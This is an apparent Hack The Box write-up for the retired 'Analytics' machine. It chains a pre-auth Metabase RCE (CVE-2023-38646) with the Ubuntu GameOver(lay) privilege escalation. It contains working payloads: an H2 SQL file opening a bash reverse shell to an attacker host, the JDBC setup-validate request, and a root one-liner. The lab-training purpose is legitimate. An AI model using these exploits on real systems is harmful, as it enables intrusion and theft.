~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / analytics.md

analytics

Linux · Easy · released 2023-10-07 · retired 2024-03-23

Summary

Analytics is an Easy Linux box. CVE-2023-38646 — Metabase v0.46.6 pre-auth RCE via setup token leaked at /api/session/properties and an unsanitized H2 JDBC connection string passed to /api/setup/validate. Container env vars expose SSH credentials (metalytics / <META-PW>). Privesc via GameOver(lay) (CVE-2023-2640 / CVE-2023-32629) — Ubuntu 22.04 OverlayFS namespace bug promotes file capabilities to root.

Recon

22/tcp   OpenSSH
80/tcp   nginx → analytical.htb (marketing site) → data.analytical.htb (Metabase v0.46.6)

/etc/hosts:

<TARGET>  analytical.htb data.analytical.htb

Note: The actual domain is analytical.htb (not analytics.htb). The login link on the main page points to http://data.analytical.htb.

Foothold — CVE-2023-38646

Step 1: Get setup token

curl -s http://data.analytical.htb/api/session/properties | python3 -c \
  "import sys,re; m=re.search('\"setup-token\":\"(.*?)\"', sys.stdin.read()); print(m.group(1))"

Step 2: Get shell inside Metabase container

Serve an exploit SQL file via HTTP (exploit.sql):

CREATE ALIAS IF NOT EXISTS EXEC AS $$ void exec(String[] c) throws Exception{Runtime.getRuntime().exec(c);} $$;
CALL EXEC(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'});

Key notes for H2 2.1.212 (bundled in Metabase 0.46.x):

POST to /api/setup/validate:

payload = {
    "token": setup_token,
    "details": {
        "is_on_demand": False, "is_full_sync": False, "is_sample": False,
        "cache_ttl": None, "refingerprint": False, "auto_run_queries": True,
        "schedules": {},
        "details": {
            "db": "zip:/app/metabase.jar!/sample-database.db;INIT=RUNSCRIPT FROM 'http://LHOST:PORT/exploit.sql'",
            "advanced-options": False,
            "ssl": True
        },
        "name": "x",
        "engine": "h2"
    }
}

Start a netcat listener before sending the payload:

nc -lnvp LPORT

Step 3: Extract creds from container env

env | grep META
# META_USER=metalytics
# META_PASS=<META-PW>

User — SSH to host

ssh [email protected]
# Password: <META-PW>
cat ~/user.txt

Root — GameOver(lay)

uname -r
# 6.2.0-25-generic  (vulnerable; patch is 6.2.0-26, Ubuntu USN-6286-1)

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && \
u/python3 -c 'import os;os.setuid(0);os.system("id && cat /root/root.txt")'

Why it works: Ubuntu’s OverlayFS + user namespaces bug preserves file capabilities set in an overlay upper dir when the overlay unmounts, promoting cap_setuid+eip on python3 into the host mount namespace.

Why each step worked

Counterfactuals

Lessons Learned

  1. Check redirect destination carefully — analytics.htbanalytical.htb (different domain, easy to miss).
  2. H2 2.x removed JavaScript/Groovy triggers — many CVE-2023-38646 public PoCs use the old syntax; for H2 2.x use CREATE ALIAS (Java method) via RUNSCRIPT FROM to avoid JDBC URL escaping constraints.
  3. Metabase /api/setup/validate always returns 204 regardless of INIT SQL success/failure — not a reliable success indicator.
  4. GameOver(lay) is a reliable one-liner privesc for Ubuntu 22.04 with kernel < 6.2.0-26.
← all htb machines hackthebox.com ↗